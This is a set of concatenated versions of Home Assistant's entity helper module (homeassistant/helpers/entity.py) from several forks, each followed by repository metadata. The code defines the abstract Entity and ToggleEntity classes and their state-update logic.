"""Process 'update' or 'async_update' from entity.
This method is a coroutine.
"""
if self._update_staged:
return
self._update_staged = True
# Process update sequential
if self.parallel_updates:
yield from self.parallel_updates.acquire()
if warning:
update_warn = self.hass.loop.call_later(
SLOW_UPDATE_WARNING, _LOGGER.warning,
"Update of %s is taking over %s seconds", self.entity_id,
SLOW_UPDATE_WARNING
)
try:
# pylint: disable=no-member
if hasattr(self, 'async_update'):
yield from self.async_update()
elif hasattr(self, 'update'):
yield from self.hass.async_add_job(self.update)
finally:
self._update_staged = False
if warning:
update_warn.cancel()
if self.parallel_updates:
self.parallel_updates.release()
@callback
def async_on_remove(self, func):
"""Add a function to call when entity removed."""
if self._on_remove is None:
self._on_remove = []
self._on_remove.append(func)
async def async_remove(self):
"""Remove entity from Home Assistant."""
if self._on_remove is not None:
while self._on_remove:
self._on_remove.pop()()
if self.platform is not None:
await self.platform.async_remove_entity(self.entity_id)
else:
self.hass.states.async_remove(self.entity_id)
@callback
def async_registry_updated(self, old, new):
"""Handle entity registry update."""
self.registry_name = new.name
if new.entity_id == self.entity_id:
self.async_schedule_update_ha_state()
return
async def readd():
"""Remove and add entity again."""
await self.async_remove()
await self.platform.async_add_entities([self])
self.hass.async_create_task(readd())
def __eq__(self, other):
"""Return the comparison."""
if not isinstance(other, self.__class__):
return False
# Can only decide equality if both have a unique id
if self.unique_id is None or other.unique_id is None:
return False
# Ensure they belong to the same platform
if self.platform is not None or other.platform is not None:
if self.platform is None or other.platform is None:
return False
if self.platform.platform != other.platform.platform:
return False
return self.unique_id == other.unique_id
def __repr__(self):
"""Return the representation."""
return "<Entity {}: {}>".format(self.name, self.state)
class ToggleEntity(Entity):
"""An abstract class for entities that can be turned on and off."""
@property
def state(self) -> str:
"""Return the state."""
return STATE_ON if self.is_on else STATE_OFF
@property
def is_on(self) -> bool:
"""Return True if entity is on."""
raise NotImplementedError()
def turn_on(self, **kwargs) -> None:
"""Turn the entity on."""
raise NotImplementedError()
def async_turn_on(self, **kwargs):
"""Turn the entity on.
This method must be run in the event loop and returns a coroutine.
"""
return self.hass.async_add_job(
ft.partial(self.turn_on, **kwargs))
def turn_off(self, **kwargs) -> None:
"""Turn the entity off."""
raise NotImplementedError()
def async_turn_off(self, **kwargs):
"""Turn the entity off.
This method must be run in the event loop and returns a coroutine.
"""
return self.hass.async_add_job(
ft.partial(self.turn_off, **kwargs))
def toggle(self, **kwargs) -> None:
"""Toggle the entity."""
if self.is_on:
self.turn_off(**kwargs)
else:
self.turn_on(**kwargs)
def async_toggle(self, **kwargs):
"""Toggle the entity.
This method must be run in the event loop and returns a coroutine.
"""
if self.is_on:
return self.async_turn_off(**kwargs)
return self.async_turn_on(**kwargs)
| {
"repo_name": "persandstrom/home-assistant",
"path": "homeassistant/helpers/entity.py",
"copies": "1",
"size": "14974",
"license": "apache-2.0",
"hash": 7422458306169801000,
"line_mean": 30.9275053305,
"line_max": 79,
"alpha_frac": 0.5985708562,
"autogenerated": false,
"ratio": 4.31278801843318,
"config_test": false,
"has_no_keywords": false,
"few_assignments": false,
"quality_score": 1,
"avg_score": 0,
"num_lines": 469
} |
"""An abstract class for entities."""
import asyncio
import logging
from timeit import default_timer as timer
from typing import Any, Optional, List, Dict
from homeassistant.const import (
ATTR_ASSUMED_STATE, ATTR_FRIENDLY_NAME, ATTR_HIDDEN, ATTR_ICON,
ATTR_UNIT_OF_MEASUREMENT, DEVICE_DEFAULT_NAME, STATE_OFF, STATE_ON,
STATE_UNAVAILABLE, STATE_UNKNOWN, TEMP_CELSIUS, TEMP_FAHRENHEIT,
ATTR_ENTITY_PICTURE)
from homeassistant.core import HomeAssistant
from homeassistant.exceptions import NoEntitySpecifiedError
from homeassistant.util import ensure_unique_string, slugify
from homeassistant.util.async import (
run_coroutine_threadsafe, run_callback_threadsafe)
# Entity attributes that we will overwrite
_OVERWRITE = {} # type: Dict[str, Any]
_LOGGER = logging.getLogger(__name__)
def generate_entity_id(entity_id_format: str, name: Optional[str],
current_ids: Optional[List[str]]=None,
hass: Optional[HomeAssistant]=None) -> str:
"""Generate a unique entity ID based on given entity IDs or used IDs."""
if current_ids is None:
if hass is None:
raise ValueError("Missing required parameter currentids or hass")
else:
return run_callback_threadsafe(
hass.loop, async_generate_entity_id, entity_id_format, name,
current_ids, hass
).result()
name = (name or DEVICE_DEFAULT_NAME).lower()
return ensure_unique_string(
entity_id_format.format(slugify(name)), current_ids)
def async_generate_entity_id(entity_id_format: str, name: Optional[str],
current_ids: Optional[List[str]]=None,
hass: Optional[HomeAssistant]=None) -> str:
"""Generate a unique entity ID based on given entity IDs or used IDs."""
if current_ids is None:
if hass is None:
raise ValueError("Missing required parameter currentids or hass")
current_ids = hass.states.async_entity_ids()
name = (name or DEVICE_DEFAULT_NAME).lower()
return ensure_unique_string(
entity_id_format.format(slugify(name)), current_ids)
def set_customize(customize: Dict[str, Any]) -> None:
"""Overwrite all current customize settings.
Async friendly.
"""
global _OVERWRITE
_OVERWRITE = {key.lower(): val for key, val in customize.items()}
class Entity(object):
"""An abstract class for Home Assistant entities."""
# pylint: disable=no-self-use
# SAFE TO OVERWRITE
# The properties and methods here are safe to overwrite when inheriting
# this class. These may be used to customize the behavior of the entity.
entity_id = None # type: str
# Owning hass instance. Will be set by EntityComponent
hass = None # type: Optional[HomeAssistant]
@property
def should_poll(self) -> bool:
"""Return True if entity has to be polled for state.
False if entity pushes its state to HA.
"""
return True
@property
def unique_id(self) -> str:
"""Return an unique ID."""
return "{}.{}".format(self.__class__, id(self))
@property
def name(self) -> Optional[str]:
"""Return the name of the entity."""
return None
@property
def state(self) -> str:
"""Return the state of the entity."""
return STATE_UNKNOWN
@property
def state_attributes(self):
"""Return the state attributes.
Implemented by component base class.
"""
return None
@property
def device_state_attributes(self):
"""Return device specific state attributes.
Implemented by platform classes.
"""
return None
@property
def unit_of_measurement(self):
"""Return the unit of measurement of this entity, if any."""
return None
@property
def icon(self):
"""Return the icon to use in the frontend, if any."""
return None
@property
def entity_picture(self):
"""Return the entity picture to use in the frontend, if any."""
return None
@property
def hidden(self) -> bool:
"""Return True if the entity should be hidden from UIs."""
return False
@property
def available(self) -> bool:
"""Return True if entity is available."""
return True
@property
def assumed_state(self) -> bool:
"""Return True if unable to access real state of the entity."""
return False
@property
def force_update(self) -> bool:
"""Return True if state updates should be forced.
If True, a state change will be triggered anytime the state property is
updated, not just when the value changes.
"""
return False
def update(self):
"""Retrieve latest state.
When not implemented, will forward call to async version if available.
"""
async_update = getattr(self, 'async_update', None)
if async_update is None:
return
run_coroutine_threadsafe(async_update(), self.hass.loop).result()
# DO NOT OVERWRITE
# These properties and methods are either managed by Home Assistant or they
# are used to perform a very specific function. Overwriting these may
# produce undesirable effects in the entity's operation.
def update_ha_state(self, force_refresh=False):
"""Update Home Assistant with current state of entity.
If force_refresh == True will update entity before setting state.
"""
# We're already in a thread, do the force refresh here.
if force_refresh and not hasattr(self, 'async_update'):
self.update()
force_refresh = False
run_coroutine_threadsafe(
self.async_update_ha_state(force_refresh), self.hass.loop
).result()
@asyncio.coroutine
def async_update_ha_state(self, force_refresh=False):
"""Update Home Assistant with current state of entity.
If force_refresh == True will update entity before setting state.
This method must be run in the event loop.
"""
if self.hass is None:
raise RuntimeError("Attribute hass is None for {}".format(self))
if self.entity_id is None:
raise NoEntitySpecifiedError(
"No entity id specified for entity {}".format(self.name))
if force_refresh:
if hasattr(self, 'async_update'):
# pylint: disable=no-member
yield from self.async_update()
else:
# PS: Run this in our own thread pool once we have
# future support?
yield from self.hass.loop.run_in_executor(None, self.update)
start = timer()
state = self.state
if state is None:
state = STATE_UNKNOWN
else:
state = str(state)
attr = self.state_attributes or {}
device_attr = self.device_state_attributes
if device_attr is not None:
attr.update(device_attr)
self._attr_setter('unit_of_measurement', str, ATTR_UNIT_OF_MEASUREMENT,
attr)
if not self.available:
state = STATE_UNAVAILABLE
attr = {}
self._attr_setter('name', str, ATTR_FRIENDLY_NAME, attr)
self._attr_setter('icon', str, ATTR_ICON, attr)
self._attr_setter('entity_picture', str, ATTR_ENTITY_PICTURE, attr)
self._attr_setter('hidden', bool, ATTR_HIDDEN, attr)
self._attr_setter('assumed_state', bool, ATTR_ASSUMED_STATE, attr)
end = timer()
if end - start > 0.4:
_LOGGER.warning('Updating state for %s took %.3f seconds. '
'Please report platform to the developers at '
'https://goo.gl/Nvioub', self.entity_id,
end - start)
# Overwrite properties that have been set in the config file.
attr.update(_OVERWRITE.get(self.entity_id, {}))
# Remove hidden property if false so it won't show up.
if not attr.get(ATTR_HIDDEN, True):
attr.pop(ATTR_HIDDEN)
# Convert temperature if we detect one
try:
unit_of_measure = attr.get(ATTR_UNIT_OF_MEASUREMENT)
if unit_of_measure in (TEMP_CELSIUS, TEMP_FAHRENHEIT):
units = self.hass.config.units
state = str(units.temperature(float(state), unit_of_measure))
attr[ATTR_UNIT_OF_MEASUREMENT] = units.temperature_unit
except ValueError:
# Could not convert state to float
pass
self.hass.states.async_set(
self.entity_id, state, attr, self.force_update)
def remove(self) -> None:
"""Remove entitiy from HASS."""
run_coroutine_threadsafe(
self.async_remove(), self.hass.loop
).result()
@asyncio.coroutine
def async_remove(self) -> None:
"""Remove entitiy from async HASS.
This method must be run in the event loop.
"""
self.hass.states.async_remove(self.entity_id)
def _attr_setter(self, name, typ, attr, attrs):
"""Helper method to populate attributes based on properties."""
if attr in attrs:
return
value = getattr(self, name)
if not value:
return
try:
attrs[attr] = typ(value)
except (TypeError, ValueError):
pass
def __eq__(self, other):
"""Return the comparison."""
return (isinstance(other, Entity) and
other.unique_id == self.unique_id)
def __repr__(self):
"""Return the representation."""
return "<Entity {}: {}>".format(self.name, self.state)
class ToggleEntity(Entity):
"""An abstract class for entities that can be turned on and off."""
# pylint: disable=no-self-use
@property
def state(self) -> str:
"""Return the state."""
return STATE_ON if self.is_on else STATE_OFF
@property
def is_on(self) -> bool:
"""Return True if entity is on."""
raise NotImplementedError()
def turn_on(self, **kwargs) -> None:
"""Turn the entity on."""
run_coroutine_threadsafe(self.async_turn_on(**kwargs),
self.hass.loop).result()
@asyncio.coroutine
def async_turn_on(self, **kwargs):
"""Turn the entity on."""
raise NotImplementedError()
def turn_off(self, **kwargs) -> None:
"""Turn the entity off."""
run_coroutine_threadsafe(self.async_turn_off(**kwargs),
self.hass.loop).result()
@asyncio.coroutine
def async_turn_off(self, **kwargs):
"""Turn the entity off."""
raise NotImplementedError()
def toggle(self) -> None:
"""Toggle the entity."""
if self.is_on:
self.turn_off()
else:
self.turn_on()
@asyncio.coroutine
def async_toggle(self):
"""Toggle the entity."""
if self.is_on:
yield from self.async_turn_off()
else:
yield from self.async_turn_on()
| {
"repo_name": "srcLurker/home-assistant",
"path": "homeassistant/helpers/entity.py",
"copies": "1",
"size": "11293",
"license": "mit",
"hash": 2901897533483803600,
"line_mean": 30.5446927374,
"line_max": 79,
"alpha_frac": 0.5980696006,
"autogenerated": false,
"ratio": 4.250282273240497,
"config_test": false,
"has_no_keywords": false,
"few_assignments": false,
"quality_score": 0.5348351873840497,
"avg_score": null,
"num_lines": null
} |
"""An abstract class for entities."""
import asyncio
import logging
import functools as ft
from timeit import default_timer as timer
from typing import Any, Optional, List, Dict
from homeassistant.const import (
ATTR_ASSUMED_STATE, ATTR_FRIENDLY_NAME, ATTR_HIDDEN, ATTR_ICON,
ATTR_UNIT_OF_MEASUREMENT, DEVICE_DEFAULT_NAME, STATE_OFF, STATE_ON,
STATE_UNAVAILABLE, STATE_UNKNOWN, TEMP_CELSIUS, TEMP_FAHRENHEIT,
ATTR_ENTITY_PICTURE)
from homeassistant.core import HomeAssistant
from homeassistant.exceptions import NoEntitySpecifiedError
from homeassistant.util import ensure_unique_string, slugify
from homeassistant.util.async import (
run_coroutine_threadsafe, run_callback_threadsafe)
# Entity attributes that we will overwrite
_OVERWRITE = {} # type: Dict[str, Any]
_LOGGER = logging.getLogger(__name__)
def generate_entity_id(entity_id_format: str, name: Optional[str],
current_ids: Optional[List[str]]=None,
hass: Optional[HomeAssistant]=None) -> str:
"""Generate a unique entity ID based on given entity IDs or used IDs."""
if current_ids is None:
if hass is None:
raise ValueError("Missing required parameter currentids or hass")
else:
return run_callback_threadsafe(
hass.loop, async_generate_entity_id, entity_id_format, name,
current_ids, hass
).result()
name = (name or DEVICE_DEFAULT_NAME).lower()
return ensure_unique_string(
entity_id_format.format(slugify(name)), current_ids)
def async_generate_entity_id(entity_id_format: str, name: Optional[str],
current_ids: Optional[List[str]]=None,
hass: Optional[HomeAssistant]=None) -> str:
"""Generate a unique entity ID based on given entity IDs or used IDs."""
if current_ids is None:
if hass is None:
raise ValueError("Missing required parameter currentids or hass")
current_ids = hass.states.async_entity_ids()
name = (name or DEVICE_DEFAULT_NAME).lower()
return ensure_unique_string(
entity_id_format.format(slugify(name)), current_ids)
def set_customize(customize: Dict[str, Any]) -> None:
"""Overwrite all current customize settings.
Async friendly.
"""
global _OVERWRITE
_OVERWRITE = {key.lower(): val for key, val in customize.items()}
class Entity(object):
"""An abstract class for Home Assistant entities."""
# pylint: disable=no-self-use
# SAFE TO OVERWRITE
# The properties and methods here are safe to overwrite when inheriting
# this class. These may be used to customize the behavior of the entity.
entity_id = None # type: str
# Owning hass instance. Will be set by EntityComponent
hass = None # type: Optional[HomeAssistant]
@property
def should_poll(self) -> bool:
"""Return True if entity has to be polled for state.
False if entity pushes its state to HA.
"""
return True
@property
def unique_id(self) -> str:
"""Return an unique ID."""
return "{}.{}".format(self.__class__, id(self))
@property
def name(self) -> Optional[str]:
"""Return the name of the entity."""
return None
@property
def state(self) -> str:
"""Return the state of the entity."""
return STATE_UNKNOWN
@property
def state_attributes(self):
"""Return the state attributes.
Implemented by component base class.
"""
return None
@property
def device_state_attributes(self):
"""Return device specific state attributes.
Implemented by platform classes.
"""
return None
@property
def unit_of_measurement(self):
"""Return the unit of measurement of this entity, if any."""
return None
@property
def icon(self):
"""Return the icon to use in the frontend, if any."""
return None
@property
def entity_picture(self):
"""Return the entity picture to use in the frontend, if any."""
return None
@property
def hidden(self) -> bool:
"""Return True if the entity should be hidden from UIs."""
return False
@property
def available(self) -> bool:
"""Return True if entity is available."""
return True
@property
def assumed_state(self) -> bool:
"""Return True if unable to access real state of the entity."""
return False
@property
def force_update(self) -> bool:
"""Return True if state updates should be forced.
If True, a state change will be triggered anytime the state property is
updated, not just when the value changes.
"""
return False
def update(self):
"""Retrieve latest state.
When not implemented, will forward call to async version if available.
"""
async_update = getattr(self, 'async_update', None)
if async_update is None:
return
run_coroutine_threadsafe(async_update(), self.hass.loop).result()
# DO NOT OVERWRITE
# These properties and methods are either managed by Home Assistant or they
# are used to perform a very specific function. Overwriting these may
# produce undesirable effects in the entity's operation.
def update_ha_state(self, force_refresh=False):
"""Update Home Assistant with current state of entity.
If force_refresh == True will update entity before setting state.
"""
# We're already in a thread, do the force refresh here.
if force_refresh and not hasattr(self, 'async_update'):
self.update()
force_refresh = False
run_coroutine_threadsafe(
self.async_update_ha_state(force_refresh), self.hass.loop
).result()
@asyncio.coroutine
def async_update_ha_state(self, force_refresh=False):
"""Update Home Assistant with current state of entity.
If force_refresh == True will update entity before setting state.
This method must be run in the event loop.
"""
if self.hass is None:
raise RuntimeError("Attribute hass is None for {}".format(self))
if self.entity_id is None:
raise NoEntitySpecifiedError(
"No entity id specified for entity {}".format(self.name))
if force_refresh:
if hasattr(self, 'async_update'):
# pylint: disable=no-member
yield from self.async_update()
else:
# PS: Run this in our own thread pool once we have
# future support?
yield from self.hass.loop.run_in_executor(None, self.update)
start = timer()
state = self.state
if state is None:
state = STATE_UNKNOWN
else:
state = str(state)
attr = self.state_attributes or {}
device_attr = self.device_state_attributes
if device_attr is not None:
attr.update(device_attr)
self._attr_setter('unit_of_measurement', str, ATTR_UNIT_OF_MEASUREMENT,
attr)
if not self.available:
state = STATE_UNAVAILABLE
attr = {}
self._attr_setter('name', str, ATTR_FRIENDLY_NAME, attr)
self._attr_setter('icon', str, ATTR_ICON, attr)
self._attr_setter('entity_picture', str, ATTR_ENTITY_PICTURE, attr)
self._attr_setter('hidden', bool, ATTR_HIDDEN, attr)
self._attr_setter('assumed_state', bool, ATTR_ASSUMED_STATE, attr)
end = timer()
if end - start > 0.4:
_LOGGER.warning('Updating state for %s took %.3f seconds. '
'Please report platform to the developers at '
'https://goo.gl/Nvioub', self.entity_id,
end - start)
# Overwrite properties that have been set in the config file.
attr.update(_OVERWRITE.get(self.entity_id, {}))
# Remove hidden property if false so it won't show up.
if not attr.get(ATTR_HIDDEN, True):
attr.pop(ATTR_HIDDEN)
# Convert temperature if we detect one
try:
unit_of_measure = attr.get(ATTR_UNIT_OF_MEASUREMENT)
units = self.hass.config.units
if (unit_of_measure in (TEMP_CELSIUS, TEMP_FAHRENHEIT) and
unit_of_measure != units.temperature_unit):
prec = len(state) - state.index('.') - 1 if '.' in state else 0
temp = units.temperature(float(state), unit_of_measure)
state = str(round(temp) if prec == 0 else round(temp, prec))
attr[ATTR_UNIT_OF_MEASUREMENT] = units.temperature_unit
except ValueError:
# Could not convert state to float
pass
self.hass.states.async_set(
self.entity_id, state, attr, self.force_update)
def schedule_update_ha_state(self, force_refresh=False):
"""Shedule a update ha state change task.
That is only needed on executor to not block.
"""
# We're already in a thread, do the force refresh here.
if force_refresh and not hasattr(self, 'async_update'):
self.update()
force_refresh = False
self.hass.add_job(self.async_update_ha_state(force_refresh))
def remove(self) -> None:
"""Remove entitiy from HASS."""
run_coroutine_threadsafe(
self.async_remove(), self.hass.loop
).result()
@asyncio.coroutine
def async_remove(self) -> None:
"""Remove entitiy from async HASS.
This method must be run in the event loop.
"""
self.hass.states.async_remove(self.entity_id)
def _attr_setter(self, name, typ, attr, attrs):
"""Helper method to populate attributes based on properties."""
if attr in attrs:
return
value = getattr(self, name)
if not value:
return
try:
attrs[attr] = typ(value)
except (TypeError, ValueError):
pass
def __eq__(self, other):
"""Return the comparison."""
return (isinstance(other, Entity) and
other.unique_id == self.unique_id)
def __repr__(self):
"""Return the representation."""
return "<Entity {}: {}>".format(self.name, self.state)
class ToggleEntity(Entity):
"""An abstract class for entities that can be turned on and off."""
# pylint: disable=no-self-use
@property
def state(self) -> str:
"""Return the state."""
return STATE_ON if self.is_on else STATE_OFF
@property
def is_on(self) -> bool:
"""Return True if entity is on."""
raise NotImplementedError()
def turn_on(self, **kwargs) -> None:
"""Turn the entity on."""
raise NotImplementedError()
@asyncio.coroutine
def async_turn_on(self, **kwargs):
"""Turn the entity on."""
yield from self.hass.loop.run_in_executor(
None, ft.partial(self.turn_on, **kwargs))
def turn_off(self, **kwargs) -> None:
"""Turn the entity off."""
raise NotImplementedError()
@asyncio.coroutine
def async_turn_off(self, **kwargs):
"""Turn the entity off."""
yield from self.hass.loop.run_in_executor(
None, ft.partial(self.turn_off, **kwargs))
def toggle(self) -> None:
"""Toggle the entity."""
if self.is_on:
self.turn_off()
else:
self.turn_on()
@asyncio.coroutine
def async_toggle(self):
"""Toggle the entity."""
if self.is_on:
yield from self.async_turn_off()
else:
yield from self.async_turn_on()
| {
"repo_name": "oandrew/home-assistant",
"path": "homeassistant/helpers/entity.py",
"copies": "2",
"size": "11936",
"license": "mit",
"hash": 1790653583396841500,
"line_mean": 30.9144385027,
"line_max": 79,
"alpha_frac": 0.5996146113,
"autogenerated": false,
"ratio": 4.21617802896503,
"config_test": false,
"has_no_keywords": false,
"few_assignments": false,
"quality_score": 0.581579264026503,
"avg_score": null,
"num_lines": null
} |
"""An abstract class for entities."""
import asyncio
import logging
import functools as ft
from timeit import default_timer as timer
from typing import Optional, List
from homeassistant.const import (
ATTR_ASSUMED_STATE, ATTR_FRIENDLY_NAME, ATTR_HIDDEN, ATTR_ICON,
ATTR_UNIT_OF_MEASUREMENT, DEVICE_DEFAULT_NAME, STATE_OFF, STATE_ON,
STATE_UNAVAILABLE, STATE_UNKNOWN, TEMP_CELSIUS, TEMP_FAHRENHEIT,
ATTR_ENTITY_PICTURE, ATTR_SUPPORTED_FEATURES, ATTR_DEVICE_CLASS)
from homeassistant.core import HomeAssistant, callback
from homeassistant.config import DATA_CUSTOMIZE
from homeassistant.exceptions import NoEntitySpecifiedError
from homeassistant.util import ensure_unique_string, slugify
from homeassistant.util.async import (
run_coroutine_threadsafe, run_callback_threadsafe)
_LOGGER = logging.getLogger(__name__)
SLOW_UPDATE_WARNING = 10
def generate_entity_id(entity_id_format: str, name: Optional[str],
current_ids: Optional[List[str]]=None,
hass: Optional[HomeAssistant]=None) -> str:
"""Generate a unique entity ID based on given entity IDs or used IDs."""
if current_ids is None:
if hass is None:
raise ValueError("Missing required parameter currentids or hass")
else:
return run_callback_threadsafe(
hass.loop, async_generate_entity_id, entity_id_format, name,
current_ids, hass
).result()
name = (name or DEVICE_DEFAULT_NAME).lower()
return ensure_unique_string(
entity_id_format.format(slugify(name)), current_ids)
@callback
def async_generate_entity_id(entity_id_format: str, name: Optional[str],
current_ids: Optional[List[str]]=None,
hass: Optional[HomeAssistant]=None) -> str:
"""Generate a unique entity ID based on given entity IDs or used IDs."""
if current_ids is None:
if hass is None:
raise ValueError("Missing required parameter currentids or hass")
current_ids = hass.states.async_entity_ids()
name = (name or DEVICE_DEFAULT_NAME).lower()
return ensure_unique_string(
entity_id_format.format(slugify(name)), current_ids)
class Entity(object):
"""An abstract class for Home Assistant entities."""
# pylint: disable=no-self-use
# SAFE TO OVERWRITE
# The properties and methods here are safe to overwrite when inheriting
# this class. These may be used to customize the behavior of the entity.
entity_id = None # type: str
# Owning hass instance. Will be set by EntityComponent
hass = None # type: Optional[HomeAssistant]
# If we reported if this entity was slow
_slow_reported = False
# Protect for multiple updates
_update_staged = False
# Process updates pararell
parallel_updates = None
@property
def should_poll(self) -> bool:
"""Return True if entity has to be polled for state.
False if entity pushes its state to HA.
"""
return True
@property
def unique_id(self) -> str:
"""Return an unique ID."""
return "{}.{}".format(self.__class__, id(self))
@property
def name(self) -> Optional[str]:
"""Return the name of the entity."""
return None
@property
def state(self) -> str:
"""Return the state of the entity."""
return STATE_UNKNOWN
@property
def state_attributes(self):
"""Return the state attributes.
Implemented by component base class.
"""
return None
@property
def device_state_attributes(self):
"""Return device specific state attributes.
Implemented by platform classes.
"""
return None
@property
def device_class(self) -> str:
"""Return the class of this device, from component DEVICE_CLASSES."""
return None
@property
def unit_of_measurement(self):
"""Return the unit of measurement of this entity, if any."""
return None
@property
def icon(self):
"""Return the icon to use in the frontend, if any."""
return None
@property
def entity_picture(self):
"""Return the entity picture to use in the frontend, if any."""
return None
@property
def hidden(self) -> bool:
"""Return True if the entity should be hidden from UIs."""
return False
@property
def available(self) -> bool:
"""Return True if entity is available."""
return True
@property
def assumed_state(self) -> bool:
"""Return True if unable to access real state of the entity."""
return None
@property
def force_update(self) -> bool:
"""Return True if state updates should be forced.
If True, a state change will be triggered anytime the state property is
updated, not just when the value changes.
"""
return False
@property
def supported_features(self) -> int:
"""Flag supported features."""
return None
def update(self):
"""Retrieve latest state.
For asyncio use coroutine async_update.
"""
pass
# DO NOT OVERWRITE
# These properties and methods are either managed by Home Assistant or they
# are used to perform a very specific function. Overwriting these may
# produce undesirable effects in the entity's operation.
@asyncio.coroutine
def async_update_ha_state(self, force_refresh=False):
"""Update Home Assistant with current state of entity.
If force_refresh == True will update entity before setting state.
This method must be run in the event loop.
"""
if self.hass is None:
raise RuntimeError("Attribute hass is None for {}".format(self))
if self.entity_id is None:
raise NoEntitySpecifiedError(
"No entity id specified for entity {}".format(self.name))
# update entity data
if force_refresh:
try:
yield from self.async_device_update()
except Exception: # pylint: disable=broad-except
_LOGGER.exception("Update for %s fails", self.entity_id)
return
start = timer()
if not self.available:
state = STATE_UNAVAILABLE
attr = {}
else:
state = self.state
if state is None:
state = STATE_UNKNOWN
else:
state = str(state)
attr = self.state_attributes or {}
device_attr = self.device_state_attributes
if device_attr is not None:
attr.update(device_attr)
self._attr_setter('unit_of_measurement', str, ATTR_UNIT_OF_MEASUREMENT,
attr)
self._attr_setter('name', str, ATTR_FRIENDLY_NAME, attr)
self._attr_setter('icon', str, ATTR_ICON, attr)
self._attr_setter('entity_picture', str, ATTR_ENTITY_PICTURE, attr)
self._attr_setter('hidden', bool, ATTR_HIDDEN, attr)
self._attr_setter('assumed_state', bool, ATTR_ASSUMED_STATE, attr)
self._attr_setter('supported_features', int, ATTR_SUPPORTED_FEATURES,
attr)
self._attr_setter('device_class', str, ATTR_DEVICE_CLASS, attr)
end = timer()
if not self._slow_reported and end - start > 0.4:
self._slow_reported = True
_LOGGER.warning("Updating state for %s (%s) took %.3f seconds. "
"Please report platform to the developers at "
"https://goo.gl/Nvioub", self.entity_id,
type(self), end - start)
# Overwrite properties that have been set in the config file.
if DATA_CUSTOMIZE in self.hass.data:
attr.update(self.hass.data[DATA_CUSTOMIZE].get(self.entity_id))
# Remove hidden property if false so it won't show up.
if not attr.get(ATTR_HIDDEN, True):
attr.pop(ATTR_HIDDEN)
# Convert temperature if we detect one
try:
unit_of_measure = attr.get(ATTR_UNIT_OF_MEASUREMENT)
units = self.hass.config.units
if (unit_of_measure in (TEMP_CELSIUS, TEMP_FAHRENHEIT) and
unit_of_measure != units.temperature_unit):
prec = len(state) - state.index('.') - 1 if '.' in state else 0
temp = units.temperature(float(state), unit_of_measure)
state = str(round(temp) if prec == 0 else round(temp, prec))
attr[ATTR_UNIT_OF_MEASUREMENT] = units.temperature_unit
except ValueError:
# Could not convert state to float
pass
self.hass.states.async_set(
self.entity_id, state, attr, self.force_update)
def schedule_update_ha_state(self, force_refresh=False):
"""Schedule a update ha state change task.
That avoid executor dead looks.
"""
self.hass.add_job(self.async_update_ha_state(force_refresh))
@callback
def async_schedule_update_ha_state(self, force_refresh=False):
"""Schedule a update ha state change task."""
self.hass.async_add_job(self.async_update_ha_state(force_refresh))
@asyncio.coroutine
def async_device_update(self, warning=True):
"""Process 'update' or 'async_update' from entity.
This method is a coroutine.
"""
if self._update_staged:
return
self._update_staged = True
# Process update sequential
if self.parallel_updates:
yield from self.parallel_updates.acquire()
if warning:
update_warn = self.hass.loop.call_later(
SLOW_UPDATE_WARNING, _LOGGER.warning,
"Update of %s is taking over %s seconds", self.entity_id,
SLOW_UPDATE_WARNING
)
try:
if hasattr(self, 'async_update'):
# pylint: disable=no-member
yield from self.async_update()
else:
yield from self.hass.async_add_job(self.update)
finally:
self._update_staged = False
if warning:
update_warn.cancel()
if self.parallel_updates:
self.parallel_updates.release()
def remove(self) -> None:
"""Remove entity from HASS."""
run_coroutine_threadsafe(
self.async_remove(), self.hass.loop
).result()
@asyncio.coroutine
def async_remove(self) -> None:
"""Remove entity from async HASS.
This method must be run in the event loop.
"""
self.hass.states.async_remove(self.entity_id)
def _attr_setter(self, name, typ, attr, attrs):
"""Populate attributes based on properties."""
if attr in attrs:
return
value = getattr(self, name)
if value is None:
return
try:
attrs[attr] = typ(value)
except (TypeError, ValueError):
pass
def __eq__(self, other):
"""Return the comparison."""
return (isinstance(other, Entity) and
other.unique_id == self.unique_id)
def __repr__(self):
"""Return the representation."""
return "<Entity {}: {}>".format(self.name, self.state)
class ToggleEntity(Entity):
"""An abstract class for entities that can be turned on and off."""
# pylint: disable=no-self-use
@property
def state(self) -> str:
"""Return the state."""
return STATE_ON if self.is_on else STATE_OFF
@property
def is_on(self) -> bool:
"""Return True if entity is on."""
raise NotImplementedError()
def turn_on(self, **kwargs) -> None:
"""Turn the entity on."""
raise NotImplementedError()
def async_turn_on(self, **kwargs):
"""Turn the entity on.
This method must be run in the event loop and returns a coroutine.
"""
return self.hass.async_add_job(
ft.partial(self.turn_on, **kwargs))
def turn_off(self, **kwargs) -> None:
"""Turn the entity off."""
raise NotImplementedError()
def async_turn_off(self, **kwargs):
"""Turn the entity off.
This method must be run in the event loop and returns a coroutine.
"""
return self.hass.async_add_job(
ft.partial(self.turn_off, **kwargs))
def toggle(self, **kwargs) -> None:
"""Toggle the entity."""
if self.is_on:
self.turn_off(**kwargs)
else:
self.turn_on(**kwargs)
def async_toggle(self, **kwargs):
"""Toggle the entity.
This method must be run in the event loop and returns a coroutine.
"""
if self.is_on:
return self.async_turn_off(**kwargs)
return self.async_turn_on(**kwargs)
| {
"repo_name": "ewandor/home-assistant",
"path": "homeassistant/helpers/entity.py",
"copies": "1",
"size": "13042",
"license": "apache-2.0",
"hash": 619603748386947700,
"line_mean": 31.2024691358,
"line_max": 79,
"alpha_frac": 0.5951541175,
"autogenerated": false,
"ratio": 4.255138662316476,
"config_test": false,
"has_no_keywords": false,
"few_assignments": false,
"quality_score": 0.5350292779816476,
"avg_score": null,
"num_lines": null
} |
"""An abstract class for entities."""
import asyncio
import logging
from typing import Any, Optional, List, Dict
from homeassistant.const import (
ATTR_ASSUMED_STATE, ATTR_FRIENDLY_NAME, ATTR_HIDDEN, ATTR_ICON,
ATTR_UNIT_OF_MEASUREMENT, DEVICE_DEFAULT_NAME, STATE_OFF, STATE_ON,
STATE_UNAVAILABLE, STATE_UNKNOWN, TEMP_CELSIUS, TEMP_FAHRENHEIT,
ATTR_ENTITY_PICTURE)
from homeassistant.core import HomeAssistant
from homeassistant.exceptions import NoEntitySpecifiedError
from homeassistant.util import ensure_unique_string, slugify
from homeassistant.util.async import (
run_coroutine_threadsafe, run_callback_threadsafe)
# Entity attributes that we will overwrite
_OVERWRITE = {} # type: Dict[str, Any]
_LOGGER = logging.getLogger(__name__)
def generate_entity_id(entity_id_format: str, name: Optional[str],
current_ids: Optional[List[str]]=None,
hass: Optional[HomeAssistant]=None) -> str:
"""Generate a unique entity ID based on given entity IDs or used IDs."""
if current_ids is None:
if hass is None:
raise ValueError("Missing required parameter currentids or hass")
else:
return run_callback_threadsafe(
